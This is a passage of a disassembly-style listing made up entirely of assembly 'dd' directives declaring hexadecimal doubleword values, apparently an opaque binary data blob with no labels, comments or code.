		dd 22828A0Ah, 0FB2AE400h, 1F2D1588h, 0A0C5009Ch, 6C0A4D4Ch
		dd 0E9027796h, 2A566F3Dh, 10878063h, 6AFB67h, 0B3472E38h
		dd 271989A2h, 88D93Bh, 99037A1h, 73C51D10h, 0A7AE1DBCh
		dd 8C668026h, 5B2A8E4Bh, 0D7E1474h, 1244648h, 2E5DEEB2h
		dd 0C7DD782Ch, 9BE8CCh,	0D9FA2939h, 0DC918A9Ah,	2C83E500h
		dd 8EE3B544h, 6301007Ah, 7BCE68BCh, 0EE00CF5Ah,	0B5769BF2h
		dd 6DDE48h, 22FEAC19h, 0E3265913h, 0A2C4B0Eh, 0AB7F409Eh
		dd 0B9F807h, 0EA94338Ch, 4C295F0Ch, 3CAD320Fh, 225238B4h
		dd 0FEF20006h, 2A94EEE5h, 2C187341h, 85C4AC27h,	728F0FF0h
		dd 3680C07Eh, 0D5195A4h, 3F305600h, 715229ACh, 0C4900BFh
		dd 607CEA77h, 4C00B885h, 69C96F4h, 19F39A0h, 54558B1Eh
		dd 80B3D005h, 0DDD89948h, 5DE830h, 0B6C841CCh, 0F0BC4BD5h
		dd 3346DF07h, 9A70D914h, 30C5CBB7h, 2266917Eh, 13003C76h
		dd 0DB02D5Fh, 48D78Ch, 8908281Eh, 56B7471Dh, 26699900h
		dd 588FD83Ch, 624400CFh
		dd 7C9DB52Dh, 0D5003659h, 0D7A40F2Eh, 0A819DBh,	0F71AC1E5h
		dd 6F20C664h, 0CE081E00h, 5ADD26F8h, 0C7680FCDh, 2A00AB07h
		dd 0BC48710h, 0B93C021Dh, 24E17D87h, 678671C0h,	8DC00157h
		dd 4E12D04Dh, 9B6830B0h, 8B2E9C01h, 0CC47D72h, 60AF8040h
		dd 784A01F1h, 841B9612h, 0A0AAD001h, 0AE0A7000h, 20CC9C0Ch
		dd 1EA11D5Ah, 43C380F3h, 0B54510A8h, 0FE713B03h, 0EFEC5DD4h
		dd 647AEB80h, 0FFE500A9h, 0C87089F0h, 27001F1Ah, 63DC24C0h
		dd 1358DCCh, 6849B02Ch,	0ECDF6D0Bh, 3400F0D4h, 0F5C53304h
		dd 534286h, 7022BE43h, 0CA75E689h, 85084F01h, 0D2CC6D68h
		dd 39F76360h, 82812F38h, 93E7995Bh, 2950D00Ah, 5D31D600h
		dd 2DF07168h, 83F53C76h, 2F7C418Fh, 0FAC4803Dh,	367A0E50h
		dd 8D1B610Bh, 67200004h, 1F8E2201h, 0C042AEE2h,	92796099h
		dd 9B2477B6h, 5400F883h, 46878CE8h, 9A241289h, 40341D99h
		dd 314A969Dh, 1303C468h, 0FC238149h, 0B721E93Eh, 347230h
		dd 0E5F092E2h, 8EF95761h, 0C543E000h, 0B9FECE35h, 3C6D0F1Eh
		dd 28803E77h, 0E57BF0A8h, 61982D00h, 68C14411h,	5FECDFh
		dd 58FA3647h, 0D5E99FE4h, 43EDDB00h, 1DE8AC74h,	0AA9B00DCh
		dd 0F71225EFh, 0C500CA50h, 5AC6A6D7h, 7D86303h,	8336063Eh
		dd 809C458Ah, 0D5BBAF50h, 0AC326B00h, 0B48E2622h, 9C9B018h
		dd 0C55A3413h, 0D2ED1603h, 45B1E4A8h, 0ADB7E800h, 0D9E36E4Ch
		dd 0A5E0F4Ah, 0A3807A2Dh, 82141FDDh, 7E324600h,	77FB2289h
		dd 21D9099Ah, 0E000A55Eh, 0FACD0FD0h, 0B3C61900h, 0E483A054h
		dd 0A898000Ah, 6B8C3AD1h, 22000E64h, 31088B78h,	3EE8AE2Eh
		dd 7F85BDF0h, 0C03CC6BAh, 7CDB8A90h, 0FF71B3B8h, 0C3E23D00h
		dd 0B87DE6A4h, 34EAFEh,	0AA19D50Fh, 922EE0C4h, 0A7009C7Ah
		dd 4C4081EDh, 0F7329A5h, 0D2D331D8h, 0AB8B813Ch, 0C84A2870h
		dd 50007754h, 57483F6Eh, 0B77ABAh, 0CE3E10D1h, 258063E5h
		dd 0E8164Ch, 945639CCh,	7227360Fh, 0B9AF00CBh, 0E93EDC7Dh
		dd 20907A4Ch, 4EF37400h, 1A947226h, 98FEACh, 12B8CF9Ah
		dd 0F733710Fh, 2A45F600h, 3F85D229h, 0AF6E0F24h, 890EF4B4h
		dd 37655F00h, 83E0C709h, 0D1233603h, 88BE8AD6h,	802D205Ah
		dd 18094F92h, 0BB379FE2h, 788AB874h, 46CA0064h,	865BDFBDh
		dd 0C800D751h, 0DD8D939Fh, 3831BB56h, 0B88027AEh, 0D55DA28Bh
		dd 0E11C3D2Ch, 127B4898h, 0BB005A72h, 3E01E432h, 0E27610h
		dd 0A21577F0h, 1A6178FEh, 0B8DB7B00h, 0E4D2EF29h, 233500ACh
		dd 0E011BAEh, 5307F4B9h, 381A364Ch, 0E6206C40h,	19A90165h
		dd 5F2D1B5Eh, 31F5D03Ah, 0DC005BB0h, 0C1DA6ED0h, 0E74F08C8h
		dd 102070h, 0C98B8C07h,	0B812220h, 5BC7116h, 3D9F5000h
		dd 0F8B7AB3Bh, 0CC770328h, 33AAD637h, 0E49B50BFh, 0B600598Ah
		dd 6BE3CB1Eh, 496E51h, 82165C88h, 79FC8477h, 3CE6603Eh
		dd 0FBD10063h, 8CAADABAh, 0E3A00001h, 362339FFh, 4112D993h
		dd 2F01A19Fh, 73066284h, 3D60ADCCh, 15009021h, 0F6825113h
		dd 3500B08Dh, 18280CEEh, 388F251Dh, 0D0870B77h,	403443B9h
		dd 0C486E767h, 7F9DAC00h, 969153F3h, 707292h, 0C612D6B5h
		dd 4A2263F6h, 0C338D01Fh, 4C148842h, 0B80CC0F1h, 8A5718C9h
		dd 5A0528DCh, 6D560C1Fh, 0E08020C0h, 643BC0h, 815439CEh
		dd 0A233C1C4h, 9E0937Bh, 1ABDAE00h, 0D446D9Fh, 96380768h
		dd 208D5FEBh, 9AE79755h, 50CAB11Fh, 0FA73CF00h,	2D61A1h
		dd 98414DCCh, 0F89F4F0h, 6A513A01h, 0F15D05D3h,	2AC48841h
		dd 0C0FD0CE4h, 207EA998h, 9DF63E14h, 5A032300h,	329B2C74h
		dd 39DB75E8h, 8A00FCDCh, 0BDF4E42h, 22007DBEh, 0B824C24Ch
		dd 46146Dh, 8B122BFEh, 0CD2AA22Dh, 6E48FD0Fh, 0F04FC0DEh
		dd 242C72BAh, 2CF49EEDh, 0EC4E00A8h, 6697F63Eh,	4CB17A01h
		dd 6E6D4650h, 1F9117CCh, 0C0096A87h, 0B1017BBAh, 9000B82Eh
		dd 671E9B51h, 2403939Dh, 83A897ACh, 72C14FCDh, 0B5208BC8h
		dd 29125512h, 6A42E04h,	63C7CBC0h, 0A9AD007Bh, 818A328h
		dd 720011C3h, 17B497B9h, 1D8B4480h, 6C969FAEh, 2FE100D4h
		dd 5C6B5203h, 4E3A1A00h, 54293FA4h, 0B85A006Ch,	13FD7428h
		dd 70B740D6h, 0C3FE0FE6h, 43FE270Dh, 0FB625F96h, 534F2000h
		dd 0C7BB5070h, 7E25120Eh, 0B940C082h, 7248B1F6h, 78E84845h
		dd 55E5E60Fh, 391661A4h, 28839F2Bh, 4622D6C1h, 98B59800h
		dd 0BAEE1375h, 0E45100CFh, 0C3B26487h, 3598542Fh, 1148DAF6h
		dd 2C890068h, 0C62A8D14h, 2ED90FE5h, 1CE39FFBh,	5100D34Ch
		dd 37D4F5E7h, 0BD380857h, 1560F1E0h, 205B6C18h,	508B2611h
		dd 1D1C9C14h, 0D6A5D8B0h, 0F440038Fh, 480090CAh, 0FAECC61Eh
		dd 619C9E7h, 0E4F9C3FBh, 0BC01291Ah, 27905A3Dh,	18E0B478h
		dd 493B0369h, 9A5B3442h, 0E9BF408Fh, 3C001DFDh,	59D4F157h
		dd 2F3ADDh, 0FF937F9Fh,	26CA8804h, 1DA5FD07h, 77003E0Ah
		dd 0D4F8B0h, 5553FE87h,	9ACBA7F7h, 59350500h, 7E96688Ah
		dd 66D00FA8h, 4D472D0Dh, 2219D194h, 3EF6E8DDh, 0DB92B41Ch
		dd 8ECD80B9h, 0E188F351h, 3AECB0CFh, 0D600FAC7h, 919A573Ah
		dd 50014E86h, 4807FE72h, 5E89B43h, 35660A0Fh, 80D8B5F4h
		dd 0EC1AF003h, 99002806h, 0BDC7AF04h, 7BB01Bh, 0DAE4E23Fh
		dd 0D56EEED8h, 58E75900h, 0F2DB0454h, 3FB60F88h, 0D0B5BD30h
		dd 0E2FCFA03h, 4DD823C0h, 813E4C04h, 6A3F09EEh,	79240031h
		dd 1ECC95BBh, 804E2713h, 0E95C10FDh, 4600E46Dh,	0C23D0C25h
		dd 92375DEBh, 0F0604B3Ch, 1300FAA2h, 0D9D3215Ch, 0CFC35Eh
		dd 10BC6C67h, 7435A056h, 0C40F914Eh, 877E6B4Bh,	0F700F06Ch
		dd 60D4CFCAh, 9DF6D4E5h, 8C0071D1h, 0BC77A2E8h,	51080Eh
		dd 689FBA84h, 0C3D6604h, 2D736500h, 311FC862h, 0CF1800A1h
		dd 88D543DFh, 0DFB064EFh, 9BA09960h, 760C7F1h, 6A7D2627h
		dd 96809FFCh, 82A1B0B4h, 0E094F500h, 0BF9015Dh,	0BC5A3E8Bh
		dd 6661BF01h, 0F89E972Bh, 0A31D2592h, 6D1CA9F4h, 739079C0h
		dd 1CB5BB85h, 4331439Ch, 273E5CD0h, 0A47E2060h,	8ECB3h
		dd 342C3AB6h, 0DC595EF2h, 0F17BE403h, 0B046E8D6h, 692999Ch
		dd 4AEF14ABh, 0A4006089h, 5CF37932h, 113D6CCh, 0E263F721h
		dd 3268859h, 0FBA6A1B3h, 67C74850h, 93592C02h, 61482077h
		dd 17DE31DCh, 0D486D464h, 0D9A86800h, 847F78DAh, 46D207A3h
		dd 70CBE50Ch, 5BE956C0h, 269066E8h, 0FCA5391Dh,	8218068h
		dd 0B7458002h, 8EADBB8Bh, 540738A9h, 0A457C080h, 775E7BFAh
		dd 4C1CA81Eh, 166B5100h, 0C732447h, 0A4D30628h,	3328D960h
		dd 0D501C7D8h, 446F43F2h, 944073C5h, 145217h, 8F707FC0h
		dd 0D9D060DAh, 96C1CB00h, 2C58F061h, 13BE809h, 0EC9CFF13h
		dd 0CC04A08Eh, 0D50036AFh, 686CF306h, 0CED2B6h,	0D93CCD4Ch
		dd 0B5C597B4h, 0CB3DFD00h, 0C743A5Ah, 9990011h,	0DEEAA7EDh
		dd 59004984h, 17DD6E13h, 0EA9E6ABDh, 116800D2h,	0C4DE233Fh
		dd 653E616Bh, 4D970076h, 179B745Fh, 0AE72385Eh,	0BCCED00Eh
		dd 32B805Fh, 5F1AD689h,	9F1E70EEh, 0E6C14FC5h, 0AAF6A89Eh
		dd 0ED50BCCh, 869C7DDEh, 21E5C960h, 0E006B9Fh, 0C6282F92h
		dd 7E0477B7h, 0F6FD0036h, 9B9A7CF5h, 0A400CD3Eh, 3BBF0C61h
		dd 226733h, 36EB1D21h, 5A0E783Ch, 0A31AEF00h, 0C529DED3h
		dd 0D474000Ah, 282EB360h, 0AD3B2297h, 40073FFh,	6C858737h
		dd 84576Eh, 55C27570h
		dd 0EA391150h, 0CE12A900h, 0DDED033h, 0F444E441h, 0DB3B00F3h
		dd 0AB97FBDCh, 143E1A4Dh, 381C785Fh, 0A4CEB9BBh, 0EC4602B2h
		dd 952A4085h, 14AF015Ch, 3107F92h, 20888025h, 0B7C03982h
		dd 234B06FDh, 0A02C5CEEh, 3BDD7000h, 15A403Fh, 95F008Ch
		dd 6EE58A31h, 1E287E0Fh, 0E0EED10Dh, 3E82421Eh,	85160E03h
		dd 957EB0F9h, 2283004Ah, 0DBC30C84h, 0F004353h,	0C4186290h
		dd 60544BA2h, 5A1E2839h, 2C0084D5h, 5DC28DAFh, 13C76h
		dd 85F212DFh, 36FCF879h, 3158897Dh, 4AEB00DEh, 6D2D59B4h
		dd 0FA0600A8h, 0D5EF648Bh, 0FC038CC7h, 0BE85ACF4h, 0B477A070h
		dd 0AC47803h, 7DA499E1h, 322900B6h, 789DA3F4h, 0D2F6600h
		dd 0D88CF0E0h, 5D1E007Bh, 0F65C41BCh, 1BEC7EC7h, 8A052005h
		dd 95809118h, 0AE86BFh,	1FF7F898h, 2529C232h, 8C1661Fh
		dd 0A7373680h, 0B85A84B5h, 0BA5CC094h, 0E915DB45h, 4ED9531Dh
		dd 0BC009BEEh, 17664BE4h, 0E8393FF5h, 506FAA01h, 0E0048524h
		dd 0A600EEB2h, 0FB874696h, 3673E7h, 0CB8975E6h,	0D6144893h
		dd 0A93DAC00h, 380C3787h, 0E32800F8h, 0A5F2AB21h, 73077725h
		dd 0A82F2E9Ah, 0B6D81400h, 9BCB0AC1h, 3C8CA4FEh, 3B5A1B00h
		dd 41665CABh, 0C2AF8800h, 302816CAh, 0EA630097h, 0D32685F7h
		dd 9F010C52h, 9D1C0E7Bh, 0D480D2EBh, 9261169Ah,	0B701FA22h
		dd 0FD77AD70h, 0E8DC7FF0h, 0B63006Ah, 6FC44CC2h, 0A80029A4h
		dd 0B2B44E32h, 0C8B1E0h, 9E399ABFh, 68F085ADh, 94B71903h
		dd 0D80B4651h, 0BC7F59h, 0BF6A4495h, 0CF77D70Fh, 7BE0DB00h
		dd 7F1074D5h, 3B8D000Dh, 0D8B6ED25h, 0C47F75BFh, 950ABD03h
		dd 0B4342Dh, 826AAC50h,	5E425CEFh, 0C74E9E00h, 0DFF56EB7h
		dd 0ED0D03B3h, 0AD25491Dh, 942A21E0h, 57DD5500h, 0B1503293h
		dd 6F720027h, 0EBBA8978h, 6000860Bh, 0B3C5DACEh, 1D18DCh
		dd 4771817Ah, 0A6926F87h, 40000975h, 0FF24473h,	905BD3h
		dd 45085A5Fh, 0DBDFAE30h, 1F568000h, 0FB231C0Ah, 0BB75007Fh
		dd 6F144C03h, 0BE00EB15h, 0CD2B8F27h, 0AF3097h,	2DE3E018h
		dd 0F7120C23h, 0B4EBA300h, 4202E214h, 53674857h, 81443C1Ch
		dd 0A52865ABh, 0ED8D707Bh, 386FC700h, 0A0F88B6Eh, 0D98100A4h
		dd 0C625E518h, 0B8784A45h, 17237348h, 2100E036h, 0BC289A12h
		dd 0C5A1009Bh, 8F49EE6Dh, 0F0327E7h, 0EAA204E2h, 0D695B8A0h
		dd 38A80057h, 0C0AEDA24h, 0D0005899h, 9615467Eh, 7CBBC4Dh
		dd 0A450ED94h, 325190D1h, 0DF00229Dh, 0B66124F7h, 0F8987BBAh
		dd 0A942002Ah, 0A5414918h, 7E004387h, 3E109333h, 3004AEACh
		dd 0E3B8DBFAh, 963B4B53h, 5AB90098h, 1EB30D38h,	50E114A9h
		dd 0E4809899h, 134E087Dh, 0FFA44100h, 0F92216B8h, 2D76004Fh
		dd 58B10ECBh, 0D12AE9Eh, 0DE0FC267h, 2812E156h,	9E73851h
		dd 78F90670h, 80F2C385h, 4A651575h, 6D2A8A01h, 0D7FF66EAh
		dd 3C71CDCCh, 0AF04241Dh, 0C0125550h, 209B2E63h, 0E18A9800h
		dd 6C2541C6h, 4C1F05D2h, 8751237Eh, 0F3F950F6h,	3800862Bh
		dd 6B715FADh, 3C0F09B1h, 0FA8050EEh, 0FE15A5FFh, 960EFB5Eh
		dd 0A04DCDBAh, 9C426D20h, 0CA112E34h, 0AC33079Ch, 2C01F0F7h
		dd 3700C436h, 8B6F482Dh, 1E15C23Bh, 449F7895h, 0C0E057CFh
		dd 61890834h, 0FA744A00h, 7D0D012Bh, 0C8513CE1h, 9D739880h
		dd 69A6949Fh, 75D6F500h, 338CCABFh, 1E627E36h, 0C05C93DCh
		dd 0B932731Ch, 2E01A9BDh, 38A564CCh, 0F0F3458Bh, 0FD54799h
		dd 326D15A8h, 0F4C2C580h, 0EC1E0153h, 0A0C055EBh, 4281A7B4h
		dd 15C80043h, 1D797011h, 0FA3F7CB2h, 52E70344h,	0B8789677h
		dd 0E2327A66h, 0A07CB049h, 391E7908h, 0BB81CC80h, 2AC747A6h
		dd 6E61F20Eh, 5C620FFh,	0CDD6D700h, 4BB973A3h, 80EE5037h
		dd 2D3A5865h, 47338800h, 7DFC72B0h, 0C4DD9F00h,	3182FABCh
		dd 206A0048h, 0A12CC35Eh, 0EB00639Ch, 0DF53F0C8h, 7CFA67Bh
		dd 80679675h, 6D92E02Ch, 0B4745CAEh, 519A4D03h,	0C81A4731h
		dd 0E40EEA8h, 56FD0E28h, 5D1CECA0h, 9900E845h, 0F1190583h
		dd 1C7074FFh, 402113D4h, 0DC4B6B14h, 0E500FE71h, 886C523Eh
		dd 6FF3D2h, 0A02157AAh,	39A24ADFh, 0A5FDD501h, 0F4AB4898h
		dd 0F98CD0h, 0F018308h,	0F33ACA7Dh, 752EC2E6h, 270E7197h
		dd 0A26160E5h, 0CD4FDBh, 396DF8B8h, 5FD5A51Fh, 32D7300h
		dd 36A820B0h, 26BEE2AFh, 1882A6C9h, 0E67621D4h,	1762241Eh
		dd 0D6A2B243h, 0CDB7C04Fh, 0C1E10E0Eh, 30477ABFh, 0D2701C65h
		dd 7E216617h, 0D6180C00h, 48E17A28h, 4E09A2A1h,	7B8E8402h
		dd 0DA80DF0Fh, 9906140Dh, 5E11B800h, 0E6773E28h, 65D7002Bh
		dd 24C76D30h, 1B000743h, 0E449605Bh, 12D6E53Fh,	0DD6512h
		dd 0BAEE56CDh, 0BF014176h, 54375308h, 0D7E062F3h, 0EAEF0088h
		dd 84B86BF5h, 0A607D4B5h, 1E4DED49h, 0B0350D2Bh, 8E7FCCh
		dd 13709A21h, 0B40140A9h, 0A70FCD7Fh, 53466EFh,	0D5006960h
		dd 549D83F3h, 677A0031h, 0DBC04EA7h, 3900E427h,	0B116E72Fh
		dd 14AFA46h, 4828C84Bh,	0E860084Ch, 0A216153Fh,	0A900C5EBh
		dd 3D755F4Ah, 0D78200F2h, 0CA9FC45Dh, 78C0BA9Eh, 8F736218h
		dd 8F00029h, 61F18CFCh,	52027E3Ch, 0BE6BA103h, 0D6F0A015h
		dd 0C5D1A8h, 7C600C11h,	69C7BB1Bh, 9870BA0Fh, 3DE8C06Bh
		dd 748AE6h, 3BC2A279h, 0E3723302h, 71AF2530h, 386C7322h
		dd 0C8AA9A4Eh, 6F200E4h, 0F443B98Fh, 0B6003554h, 0A6ECB324h
		dd 0EA47BCB1h, 81B1C6F1h, 800049DFh, 2E0C6D4Eh,	2CD57AA5h
		dd 5CB778h, 0AEEFE366h,	88B05D54h, 0EDBB3A00h, 0F2929ACBh
		dd 1DA018B4h, 2DEB18FBh, 1638CA3Eh, 0B1000745h,	4B11A79Ch
		dd 6F1D03CDh, 74C7B961h, 0D509F9F0h, 0CADBC600h, 0A24E2066h
		dd 98DE7EFFh, 847FB7h, 0A797A59Ch, 0C6B9A023h, 0F895E826h
		dd 202D330Bh, 84D3E5ECh, 0F6F0C926h, 6F103900h,	4500BFE4h
		dd 6885C221h, 24246B54h, 6A480A2h, 0F993F1DCh, 8579E100h
		dd 0B714B841h, 0B3BE0344h, 43A33804h, 7FEB2098h, 66E9ED0Bh
		dd 0AC8B00CAh, 0E670447h, 9074A24h, 0F71A407Eh,	1C06E95h
		dd 145F5907h, 0A630F9BDh, 0FD343Ch, 0CE2E29F4h,	824ABA8Dh
		dd 39A83Eh, 4DE71DF7h, 0A0BDABh, 921B7AD6h, 0E6E03530h
		dd 0EF402A0Bh, 89787Eh,	6C33683Fh, 0FE3D84A7h, 0EE77FAF2h
		dd 0B35760C3h, 5DB99009h, 0A2E70025h, 0E6C42AF2h, 810388EBh
		dd 52C9F5FDh, 0DE3FA9D0h, 871BDCh, 0B6760484h, 0DC29D1DFh
		dd 73273C3Eh, 0A0F47C00h, 0AF3FE0D5h, 0CA300012h, 862DCD9h
		dd 8F002594h, 403CCEFBh, 6D9A57h, 3985458Ah, 0D6C41A0Dh
		dd 1F6ED10Ch, 0C14086h,	0E3BE072Ah, 0C9B2BD38h,	4212B0C0h
		dd 8951F6h, 0FA58F756h,	0C1A3D280h, 0A5ACD354h,	0FDB4FF18h
		dd 1C95F668h, 80D42CC6h, 1508BDC1h, 0EC28C478h,	0A22CA42Ah
		dd 4A009EB6h, 0B858072Bh, 0EEED009Fh, 3023891Ah, 9B005BD5h
		dd 0E278BB38h, 0D93A2Ch, 54A3081Fh, 0CBC7F904h,	0B1BF1B00h
		dd 38E8E30Eh, 8D10F90h,	7B004906h, 98F3939Ah, 50D38900h
		dd 0FCB38E4h, 150A0A34h, 5920EF0Bh, 103961C3h, 3687D020h
		dd 99553B00h, 0BE4EE26Fh, 30E061CCh, 0FC8098F5h, 31EC7404h
		dd 0E5F35119h, 8BEC9948h, 7BE23C7Fh, 610019C8h,	232FE81Dh
		dd 6B015673h, 9897825h,	0C8D87295h, 1247721h, 0CBC62CDDh
		dd 80DB18D3h, 8F3B0BA0h, 0B38108Eh, 0CF86B8DEh,	592F700h
		dd 0F100CB73h, 0CD1B125Dh
		dd 5983676h, 0C9A5B574h, 0C6A44057h, 8E18F0FAh,	0D3D2C500h
		dd 0E277EB56h, 3EB2180Fh, 6A64B0CAh, 23146101h,	0BBCCBF9Bh
		dd 36A5B980h, 0EE72AE8Dh, 0AF0ACFE8h, 80BDB740h, 8B592FC0h
		dd 0CBAA10D2h, 0B30EF152h, 0F817F970h, 639892h,	0AE87869Dh
		dd 73917533h, 0C9DDF0A0h, 0A7EF1800h, 0D9A3F20Eh, 79F60027h
		dd 0AFD5062Bh, 2C02B303h, 5B30A123h, 0A0A08F85h, 0ADD6C3Dh
		dd 1ABE07A3h, 60FA918Ch, 7D8D9925h, 0CDF2300h, 347A841Bh
		dd 420A5B9h, 33BE542Bh,	330BC0A2h, 1ED0DFD1h, 5EAE63Ah
		dd 4E296822h, 9F8040D0h, 3F237E82h, 10B1A304h, 0EBC31C36h
		dd 0D51BA024h, 56D80077h, 0CADF42A0h, 0CF78CC8Bh, 0B58C7801h
		dd 6872A40Dh, 0EEC38FD8h, 0DC790075h, 315EFA88h, 70005217h
		dd 0DAAD24FBh, 0A81BCCA5h, 36E04E0h, 0A2543B7Bh, 1858182Ch
		dd 73D7002Ch, 3CEAE405h, 0FA01751Eh, 0A7AB1BCAh, 47B89841h
		dd 61019DBBh, 2617838Bh, 59AC6739h, 0DEF90186h,	308F22EFh
		dd 97DE33Fh, 8CFD4D00h,	507CC5A1h, 712A6015h, 92B06622h
		dd 7224CBF8h, 2C00495Eh, 7094A890h, 73490081h, 0C66610D5h
		dd 47000378h, 0B2C3F5B1h, 14F089h, 901E57DDh, 0D660C92Dh
		dd 0C59A111Eh, 179F9B40h, 0A7EAE6Ah, 47FABADBh,	2EC601D8h
		dd 200B63ACh, 0B302D088h, 0FB2FEEAEh, 836C4069h, 4F060046h
		dd 0D4A19F95h, 0DC18B2EFh, 0C1B11E73h, 0A9910F51h, 0A6408C69h
		dd 24B5F1A4h, 1A988301h, 0DBABBD88h, 4541CCh, 0B444190Dh
		dd 0E57C6A8Eh, 95048F50h, 34B74E3Eh, 0C6E2113h,	0A5000447h
		dd 97F604FCh, 940005CEh, 8950881Fh, 1F77DA5Eh, 4095A7A8h
		dd 55BC5431h, 19C44802h, 1C22940Bh, 0F7FF18A1h,	0C26413CCh
		dd 0DCC42F21h, 96D345CDh, 0B5B0C05h, 0DBD01805h, 1A732404h
		dd 5DA9B420h, 11EA0789h, 0DF3C51EDh, 560C40DBh,	0C3885BCBh
		dd 0D724A0B8h, 5760A019h, 0C00CA0ACh, 3B218410h, 0A0A90A18h
		dd 0CBAF0C54h, 390F2860h, 969E26h, 883C15E2h, 0CC0305FCh
		dd 0CEDAD7h, 0AC6FBEA8h, 8D02D648h, 0F3FBD593h,	0CBB0802Ch
		dd 2D3808h, 3B9084C2h, 325175C7h, 0D13880E9h, 160FA658h
		dd 30996010h, 13B949EFh, 0C377B300h, 0FDB69FCFh, 2BEB00A3h
		dd 8FD18BCEh, 5B005139h, 0F3F02114h, 39B0ED5Dh,	790015F9h
		dd 9722E34h, 2600D242h,	0F66B91Fh, 2A6BF040h, 984CAE4Ch
		dd 8BEE30E3h, 401DB8D8h, 0AB4A6500h, 3F8D2A5h, 0F5CD003Ah
		dd 94A075CFh, 0DE0C1E12h, 54340A2Ch, 0BB1A0761h, 90DA2B9Ch
		dd 19988E4Ch, 0CDF9CF00h, 0F23A0784h, 1CC9577Dh, 22473C23h
		dd 419F2A90h, 0D5B10051h, 36B394BBh, 0E10A5833h, 0C0E5FF0Fh
		dd 8434E0F3h, 42510093h, 9901FA2Ah, 7FE42133h, 5628CB6Fh
		dd 0F701B0h, 85F22DEAh,	5564DE30h, 0EF35BA1Eh, 54D70279h
		dd 90F3B3AAh, 1D33A5Ch,	5B1F2347h, 0E0AFCE3Fh, 2400FD97h
		dd 89B6B718h, 1EE9DD9Bh, 57458E57h, 0EA0600CDh,	36481CE6h
		dd 0BCCA9424h, 77628830h, 42E004B5h, 871E310Ch,	0A120F010h
		dd 8F28E83Ah, 0A500D0C8h, 0B1E5A026h, 0C247D75h, 0BF3CF71Fh
		dd 0B7430DB0h, 18A52FB0h, 0E1F2D043h, 0E03F4C9Ch, 0AD38EE9h
		dd 43CAE0B8h, 12BD87C6h, 73B60A7h, 43DB8528h, 0F5F38ADEh
		dd 491C05C0h, 9480F750h, 6E853C00h, 34500866h, 0E630C099h
		dd 0F0BB409Dh, 1DE78000h, 480D01E1h, 96170475h,	8C5B74BAh
		dd 0CE435574h, 0B7E241A0h, 0C49F781Fh, 0E3401083h, 0EC1904Ch
		dd 3A2090DDh, 0CC48A07Ch, 0C05FA218h, 97622406h, 40F21EB8h
		dd 6010F638h, 0D56D31FBh, 2D014E9Eh, 4247AC9Ah,	0AC4A0F85h
		dd 0A80098E6h, 0B2B451E5h, 12E14349h, 704F0B65h, 550FFC94h
		dd 80D4C549h, 1AAF4A1Bh, 849A2B45h, 9ED4D044h, 2F00AC92h
		dd 0AE40D5E2h, 480D9F31h, 29A0E823h, 180079E8h,	9CAED2B4h
		dd 21101CFh, 0F3774661h, 921D2BC1h, 90DC6876h, 5EB0E700h
		dd 676BF662h, 13B4FA79h, 289963B7h, 6B000758h, 9604C477h
		dd 3D646A4Dh, 0EF005B8Dh, 0A5A4A901h, 441DDAC9h, 803D3DECh
		dd 7BEAA3E1h, 3EE9A88Fh, 7880BC47h, 0DB8CA953h,	4909D73h
		dd 0D1CF4F02h, 6066B710h, 136BCDCCh, 43964E1h, 2288FC64h
		dd 7B8060BBh, 0C9690094h, 0A1272287h, 64911408h, 0F4C11354h
		dd 670830DFh, 48007FC9h, 61A5EA08h, 2E02A0h, 9088F753h
		dd 93823918h, 813C1E09h, 6B0C1510h, 0DCD17C01h,	0EE12FC99h
		dd 8004CF48h, 235A8C28h, 941E8A0h, 6CE7C797h, 0FEFCF008h
		dd 90B0DA03h, 0C0936CF6h, 50665322h, 98ADF43Dh,	99AC0AC4h
		dd 7080C163h, 6D1A42AAh, 6D886F93h, 1770C228h, 88E89C09h
		dd 3DC790h, 768ADA59h, 1F041854h, 1231FE3Ch, 1C1EF31Eh
		dd 0AB994B01h, 11989669h, 0C1E430A0h, 506943Ch,	8C20DE03h
		dd 103B100Ch, 0F50C8947h, 0D29C31FDh, 0EC9DFCC9h, 132EB89Ah
		dd 36025CF5h, 8A85FF50h, 3B9240CAh, 0AF751C04h,	8BB2E497h
		dd 2D1CE005h, 242100E8h, 9990F908h, 9D605044h, 0F75231FCh
		dd 8E58041Bh, 817DDCE5h, 0D4912C7Ch, 0F9058BC7h, 0BA8269E8h
		dd 0DA80CCC4h, 0A0336CF1h, 628AD90h, 38316DA7h,	0F63AB9D0h
		dd 912D8001h, 0BAFF0B69h, 0CF610014h, 8022A225h, 0DA504B86h
		dd 0C8900CE4h, 0B04CA42Ah, 0B3275A12h, 0DAEB9033h, 10CC60B8h
		dd 239D0032h, 5230CCC7h, 9E60D682h, 4A392B71h, 0AC8F00B3h
		dd 53DF6EE9h, 0E030B1B6h, 7DED2094h, 7C11004Fh,	389379BAh
		dd 39078837h, 0CDE457F3h, 15E0F230h, 0A52D0230h, 0A992568h
		dd 881CF868h, 17EADB00h, 7DAAEE43h, 8AD0FBC5h, 0E454900Eh
		dd 0A9831C34h, 0C430C095h, 0C23A910Dh, 633C9300h, 86CFE5BCh
		dd 29E4A0BFh, 5CE65252h, 0BC3B027Fh, 0B86F3D87h, 9026410h
		dd 2B5104FFh, 0E806ED41h, 0A400D0CDh, 337EFEF3h, 3F71CFCAh
		dd 619B2D0Bh, 9064302Ch, 20A0DE20h, 37C10CF9h, 1ED9E08Ah
		dd 740BCA07h, 0AC90C49Dh, 7254152h, 8ECB9FD2h, 0F7869E6Ch
		dd 0CD002073h, 0A333DF39h, 674666h, 3AECD925h, 4CBC6B81h
		dd 580042FCh, 0FF39A20Ah, 0B7F8833h, 0ACDCF76Dh, 0E40714FEh
		dd 10F08573h, 3FC732AEh, 0D001A18h, 5B57A1ADh, 680038A0h
		dd 5F63897Ch, 0A09684D6h, 0F669EA0h, 9AAFB19Ch,	43D18500h
		dd 5A736AF1h, 0D0780B00h, 0C18FDC86h, 24C40014h, 399143CFh
		dd 49000A64h, 9EF809D7h, 7CAAF437h, 96070368h, 1E15060Fh
		dd 0D003E0B8h, 84002271h, 874C5E9h, 18237D1h, 0B1CDA854h
		dd 0EFFF4ECCh, 20A59EE8h, 9F0077F6h, 6AF7D13h, 0ECD7E53Bh
		dd 8BAC0029h, 2E14CB90h, 7E48B373h, 2BC0098h, 0E23AA01Dh
		dd 81B00349h, 22747157h, 132717C8h, 9DDDBB04h, 9380AB1Dh
		dd 606ED146h, 8D062002h, 1F309C77h, 0D3810E1h, 0ECB203FBh
		dd 0D02DC842h, 68E017BBh, 0C701B441h, 73D97A15h, 9BDCB35Dh
		dd 18F09819h, 107075AFh, 444823DEh, 0BD50001Fh,	0D5180125h
